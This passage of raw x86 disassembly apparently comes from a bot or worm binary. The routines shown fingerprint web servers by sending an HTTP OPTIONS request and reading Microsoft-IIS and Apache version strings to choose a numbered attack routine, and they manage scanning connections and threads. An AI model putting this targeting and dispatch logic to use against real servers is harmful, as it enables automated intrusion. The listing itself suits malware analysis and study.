		jmp	short loc_412B0C
; ---------------------------------------------------------------------------


loc_412AFF:				; CODE XREF: sub_412A3A:loc_412B34j
		mov	eax, [ebp+var_250]
		inc	eax
		mov	[ebp+var_250], eax


loc_412B0C:				; CODE XREF: sub_412A3A+C3j
		mov	eax, [ebp+var_250]
		cmp	eax, [ebp+var_24C]
		jnb	short loc_412B36
		mov	eax, [ebp+var_250]
		mov	eax, [ebp+eax+var_20C]
		cmp	eax, [ebp+var_222]
		jnz	short loc_412B34
		jmp	loc_412BC5
; ---------------------------------------------------------------------------


loc_412B34:				; CODE XREF: sub_412A3A+F3j
		jmp	short loc_412AFF
; ---------------------------------------------------------------------------


loc_412B36:				; CODE XREF: sub_412A3A+DEj
		push	3
		mov	eax, [ebp+var_24C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	200h
		push	0
		push	[ebp+var_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_412B7F
; ---------------------------------------------------------------------------


loc_412B69:				; CODE XREF: sub_412A3A+BAj
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_412B7F:				; CODE XREF: sub_412A3A+12Dj
		jmp	loc_412A9F
; ---------------------------------------------------------------------------


loc_412B84:				; CODE XREF: sub_412A3A:loc_412BC5j
		push	[ebp+arg_4]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412B93
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412B93:				; CODE XREF: sub_412A3A+155j
		push	offset dword_41CC64
		push	[ebp+arg_4]
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_0]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+arg_4]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412BC5:				; CODE XREF: sub_412A3A+F5j
		jmp	short loc_412B84
; ---------------------------------------------------------------------------

locret_412BC7:				; CODE XREF: sub_412A3A+72j
					; sub_412A3A+AEj ...
		leave
		retn
sub_412A3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BC9	proc near		; CODE XREF: sub_41331E+165p

var_85C		= dword	ptr -85Ch
var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= byte ptr -84Ch
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 85Ch
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404FE7
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		mov	[ebp+var_854], 3Ch
		and	[ebp+var_850], 0
		and	[ebp+var_810], 0


loc_412BFD:				; CODE XREF: sub_412BC9+A9j
		and	[ebp+var_85C], 0
		jmp	short loc_412C13
; ---------------------------------------------------------------------------


loc_412C06:				; CODE XREF: sub_412BC9:loc_412C35j
		mov	eax, [ebp+var_85C]
		inc	eax
		mov	[ebp+var_85C], eax


loc_412C13:				; CODE XREF: sub_412BC9+3Bj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnb	short loc_412C37
		mov	eax, [ebp+var_85C]
		mov	eax, [ebp+eax*4+var_80C]
		cmp	eax, [ebp+var_8]
		jnz	short loc_412C35
		jmp	short loc_412C37
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412BC9+68j
		jmp	short loc_412C06
; ---------------------------------------------------------------------------


loc_412C37:				; CODE XREF: sub_412BC9+56j
					; sub_412BC9+6Aj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnz	short loc_412C6E
		cmp	[ebp+var_810], 200h
		jnb	short loc_412C6E
		mov	eax, [ebp+var_85C]
		mov	ecx, [ebp+var_8]
		mov	[ebp+eax*4+var_80C], ecx
		mov	eax, [ebp+var_810]
		inc	eax
		mov	[ebp+var_810], eax


loc_412C6E:				; CODE XREF: sub_412BC9+7Aj
					; sub_412BC9+86j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_412BFD
		lea	eax, [ebp+var_854]
		push	eax
		push	0
		lea	eax, [ebp+var_810]
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 1
		jz	short loc_412CA5
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	locret_412D4A
; ---------------------------------------------------------------------------


loc_412CA5:				; CODE XREF: sub_412BC9+CCj
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_858], eax
		cmp	[ebp+var_858], 0
		jnz	short loc_412CD1
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CD1:				; CODE XREF: sub_412BC9+FBj
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_858]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412CF9
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CF9:				; CODE XREF: sub_412BC9+123j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412D11
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412D11:				; CODE XREF: sub_412BC9+13Bj
		push	offset dword_41CC68
		push	[ebp+var_8]
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx

locret_412D4A:				; CODE XREF: sub_412BC9+D7j
					; sub_412BC9+106j ...
		leave
		retn
sub_412BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D4C	proc near		; CODE XREF: sub_41331E:loc_413420p
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_41EB24
		pop	ebp
		retn
sub_412D4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D56	proc near		; DATA XREF: sub_412E04+CAo

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jnz	short loc_412D8A
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412D8A:				; CODE XREF: sub_412D56+25j
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_48]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412DAE
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DAE:				; CODE XREF: sub_412D56+49j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412DC8
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DC8:				; CODE XREF: sub_412D56+63j
		push	offset dword_41CC6C
		push	[ebp+var_8]
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_412E00:				; CODE XREF: sub_412D56+32j
					; sub_412D56+56j ...
		leave
		retn	4
sub_412D56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E04	proc near		; DATA XREF: sub_412F07+B0o

var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AA		= byte ptr -1AAh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B8h
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412E59
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_412F03
; ---------------------------------------------------------------------------


loc_412E59:				; CODE XREF: sub_412E04+40j
		lea	eax, [ebp+var_1B0]
		push	eax
		mov	eax, [ebp+var_1B4]
		push	dword ptr [eax]
		push	offset dword_41CC70
		lea	eax, [ebp+var_1AA]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	offset dword_41EB24
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_412E8F:				; CODE XREF: sub_412E04+B7j
					; sub_412E04:loc_412EEAj
		mov	eax, [ebp+var_1B4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_412E9D
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412E9D:				; CODE XREF: sub_412E04+95j
		push	3E8h
		push	[ebp+var_4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1B8], eax
		cmp	[ebp+var_1B8], 0FFFFFFFFh
		jnz	short loc_412EBD
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EBD:				; CODE XREF: sub_412E04+B5j
		cmp	[ebp+var_1B8], 0
		jnz	short loc_412EC8
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412EC8:				; CODE XREF: sub_412E04+C0j
		push	[ebp+var_1B8]
		push	offset sub_412D56
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412EEA
		push	[ebp+var_1B8]
		call	sub_4053B1
		pop	ecx


loc_412EEA:				; CODE XREF: sub_412E04+D8j
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EEC:				; CODE XREF: sub_412E04+97j
					; sub_412E04+C2j
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_412F03:				; CODE XREF: sub_412E04+50j
		leave
		retn	4
sub_412E04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F07	proc near		; CODE XREF: sub_40A9CF+F6Ep
					; sub_41349C+2C7p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_412F26
		jmp	locret_412FC4
; ---------------------------------------------------------------------------


loc_412F26:				; CODE XREF: sub_412F07+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_412F3A
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		jmp	short loc_412F4E
; ---------------------------------------------------------------------------


loc_412F3A:				; CODE XREF: sub_412F07+23j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax


loc_412F4E:				; CODE XREF: sub_412F07+31j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_412F63
		cmp	[ebp+var_4], 0FFFFh
		jbe	short loc_412F77


loc_412F63:				; CODE XREF: sub_412F07+51j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_412F77:				; CODE XREF: sub_412F07+5Aj
		push	0Ah
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	[ebp+var_4]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		push	offset dword_41CCA8
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_412E04
		call	sub_4095A4
		add	esp, 14h

locret_412FC4:				; CODE XREF: sub_412F07+1Aj
		leave
		retn
sub_412F07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FC6	proc near		; CODE XREF: .data:004168CBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD1:				; CODE XREF: sub_412FC6:loc_413088j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412FD8:				; CODE XREF: sub_412FC6+9j
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	off_41CCFE[eax], 0
		jz	locret_41308D
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	ecx, dword_41CCF6[ecx]
		and	ecx, 0FFh
		mov	eax, off_41CCFE[eax]
		sub	eax, ecx
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	off_41CCFE[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		and	dword_41CCFA[eax], 0


loc_413024:				; CODE XREF: sub_412FC6+7Ej
					; sub_412FC6+BEj
		call	sub_410422
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	dword_41CCF6[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	dword_41CCF6[eax], 0
		jnz	short loc_413046
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413046:				; CODE XREF: sub_412FC6+7Cj
		and	[ebp+var_8], 0
		jmp	short loc_413053
; ---------------------------------------------------------------------------


loc_41304C:				; CODE XREF: sub_412FC6:loc_413086j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_413053:				; CODE XREF: sub_412FC6+84j
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CCFE[eax], 0
		jz	short loc_413088
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jz	short loc_413086
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_8]
		imul	ecx, 3Ah
		mov	eax, dword_41CCF6[eax]
		cmp	eax, dword_41CCF6[ecx]
		jnz	short loc_413086
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413086:				; CODE XREF: sub_412FC6+A2j
					; sub_412FC6+BCj
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413088:				; CODE XREF: sub_412FC6+9Aj
		jmp	loc_412FD1
; ---------------------------------------------------------------------------

locret_41308D:				; CODE XREF: sub_412FC6+1Fj
		leave
		retn
sub_412FC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41308F	proc near		; CODE XREF: sub_41331E+72p

var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= byte ptr -810h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 820h
		push	16h
		push	offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4130C4
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130C4:				; CODE XREF: sub_41308F+2Cj
		push	0
		push	800h
		lea	eax, [ebp+var_810]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4130F3
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4130F3
		cmp	[ebp+var_8], 800h
		jnz	short loc_4130FA


loc_4130F3:				; CODE XREF: sub_41308F+53j
					; sub_41308F+59j
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130FA:				; CODE XREF: sub_41308F+62j
		mov	eax, [ebp+var_8]
		and	[ebp+eax+var_810], 0
		and	[ebp+var_4], 0
		push	offset aServer	; "Server:"
		lea	eax, [ebp+var_810]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_41312C
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41312C:				; CODE XREF: sub_41308F+94j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+var_10]
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413150
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413150:				; CODE XREF: sub_41308F+B8j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413173
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413173:				; CODE XREF: sub_41308F+DBj
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		push	0Dh
		push	offset aMicrosoftIis ; "Microsoft-IIS"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41323C
		and	[ebp+var_818], 0
		and	[ebp+var_814], 0
		lea	eax, [ebp+var_814]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		push	offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 10h
		cmp	[ebp+var_818], 4
		jnz	short loc_4131E9
		cmp	[ebp+var_814], 0
		jnz	short loc_4131E9
		push	4
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4131E9:				; CODE XREF: sub_41308F+147j
					; sub_41308F+150j
		cmp	[ebp+var_818], 5
		jnz	short loc_413203
		cmp	[ebp+var_814], 0
		jnz	short loc_413203
		push	3
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413203:				; CODE XREF: sub_41308F+161j
					; sub_41308F+16Aj
		cmp	[ebp+var_818], 5
		jnz	short loc_41321D
		cmp	[ebp+var_814], 5
		jnz	short loc_41321D
		push	2
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41321D:				; CODE XREF: sub_41308F+17Bj
					; sub_41308F+184j
		cmp	[ebp+var_818], 6
		jnz	short loc_413237
		cmp	[ebp+var_814], 0
		jnz	short loc_413237
		push	1
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413237:				; CODE XREF: sub_41308F+195j
					; sub_41308F+19Ej
		jmp	loc_41331A
; ---------------------------------------------------------------------------


loc_41323C:				; CODE XREF: sub_41308F+10Ej
		cmp	[ebp+var_C], 0
		jz	loc_41331A
		push	6
		push	offset aApache	; "Apache"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41331A
		and	[ebp+var_820], 0
		lea	eax, [ebp+var_820]
		push	eax
		push	offset dword_41CD90
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		push	6
		push	offset dword_41CD88
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_81C], eax
		cmp	[ebp+var_81C], 1
		jnz	short loc_4132BE
		push	7
		push	offset dword_41CD80
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4132BE
		xor	eax, eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132BE:				; CODE XREF: sub_41308F+213j
					; sub_41308F+229j
		cmp	[ebp+var_820], 1
		jnz	short loc_4132D5
		cmp	[ebp+var_81C], 0
		jz	short loc_4132D5
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132D5:				; CODE XREF: sub_41308F+236j
					; sub_41308F+23Fj
		cmp	[ebp+var_820], 1
		jnz	short loc_4132EC
		cmp	[ebp+var_81C], 0
		jnz	short loc_4132EC
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132EC:				; CODE XREF: sub_41308F+24Dj
					; sub_41308F+256j
		cmp	[ebp+var_820], 2
		jnz	short loc_413303
		cmp	[ebp+var_81C], 0
		jz	short loc_413303
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_413303:				; CODE XREF: sub_41308F+264j
					; sub_41308F+26Dj
		cmp	[ebp+var_820], 2
		jnz	short loc_41331A
		cmp	[ebp+var_81C], 0
		jnz	short loc_41331A
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_41331A:				; CODE XREF: sub_41308F:loc_413237j
					; sub_41308F+1B1j ...
		xor	eax, eax

locret_41331C:				; CODE XREF: sub_41308F+30j
					; sub_41308F+66j ...
		leave
		retn
sub_41308F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41331E	proc near		; DATA XREF: sub_41349C+4EBo
					; sub_413CB3+27Co

var_14C		= dword	ptr -14Ch
var_11A		= dword	ptr -11Ah
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= byte ptr -10Ah
var_8A		= dword	ptr -8Ah
var_86		= byte ptr -86h
var_6		= byte ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	14Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		push	[ebp+var_10E]
		call	sub_404457
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_10A]
		push	eax
		push	[ebp+var_10E]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413381
		push	[ebp+var_10E]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_413381:				; CODE XREF: sub_41331E+4Ej
		cmp	[ebp+var_112], 0
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_41308F
		pop	ecx
		cmp	[ebp+var_112], eax
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_4133B1:				; CODE XREF: sub_41331E+6Aj
					; sub_41331E+7Ej
		cmp	[ebp+var_8A], 1
		jnz	short loc_4133E0
		lea	eax, [ebp+var_6]
		push	eax
		push	[ebp+var_10E]
		call	sub_404552
		pop	ecx
		pop	ecx
		push	offset dword_41EF48
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_4133E0:				; CODE XREF: sub_41331E+9Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_413420
		push	0Ah
		lea	eax, [ebp+var_6]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_10A]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_413420:				; CODE XREF: sub_41331E+C9j
		call	sub_412D4C
		push	eax
		lea	eax, [ebp+var_6]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EF48
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_413444:				; CODE XREF: sub_41331E+C0j
					; sub_41331E+100j
		lea	eax, [ebp+var_14C]
		push	eax
		call	[ebp+var_11A]
		cmp	[ebp+var_8A], 1
		jnz	short loc_41346F
		push	[ebp+var_10E]
		push	[ebp+var_14C]
		call	sub_412A3A
		pop	ecx
		pop	ecx
		jmp	short loc_41348A
; ---------------------------------------------------------------------------


loc_41346F:				; CODE XREF: sub_41331E+13Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_41348A
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_412BC9
		pop	ecx
		pop	ecx


loc_41348A:				; CODE XREF: sub_41331E+14Fj
					; sub_41331E+158j
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_413498:				; CODE XREF: sub_41331E+5Ej
					; sub_41331E+8Ej
		leave
		retn	4
sub_41331E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41349C	proc near		; DATA XREF: sub_413AB0+1F4o

var_774		= qword	ptr -774h
var_764		= qword	ptr -764h
var_75C		= byte ptr -75Ch
var_65C		= byte ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_64C		= byte ptr -64Ch
var_648		= byte ptr -648h
var_644		= dword	ptr -644h
var_640		= byte ptr -640h
var_62C		= dword	ptr -62Ch
var_628		= dword	ptr -628h
var_624		= byte ptr -624h
var_51C		= byte ptr -51Ch
var_50E		= dword	ptr -50Eh
var_50A		= dword	ptr -50Ah
var_506		= dword	ptr -506h
var_502		= byte ptr -502h
var_37B		= byte ptr -37Bh
var_37A		= byte ptr -37Ah
var_377		= byte ptr -377h
var_36B		= byte ptr -36Bh
var_36A		= byte ptr -36Ah
var_35C		= dword	ptr -35Ch
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_341		= byte ptr -341h
var_296		= dword	ptr -296h
var_20C		= byte ptr -20Ch
var_20B		= byte ptr -20Bh
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	edi
		push	2C9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4134F5
		push	14Ch
		push	0
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4135BF
; ---------------------------------------------------------------------------


loc_4134F5:				; CODE XREF: sub_41349C+3Cj
		and	[ebp+var_62C], 0
		jmp	short loc_41350B
; ---------------------------------------------------------------------------


loc_4134FE:				; CODE XREF: sub_41349C:loc_4135BAj
		mov	eax, [ebp+var_62C]
		inc	eax
		mov	[ebp+var_62C], eax


loc_41350B:				; CODE XREF: sub_41349C+60j
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
		add	eax, offset byte_41CCD0
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_51C]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4135BA
		mov	eax, [ebp+var_62C]
		imul	eax, 3Ah
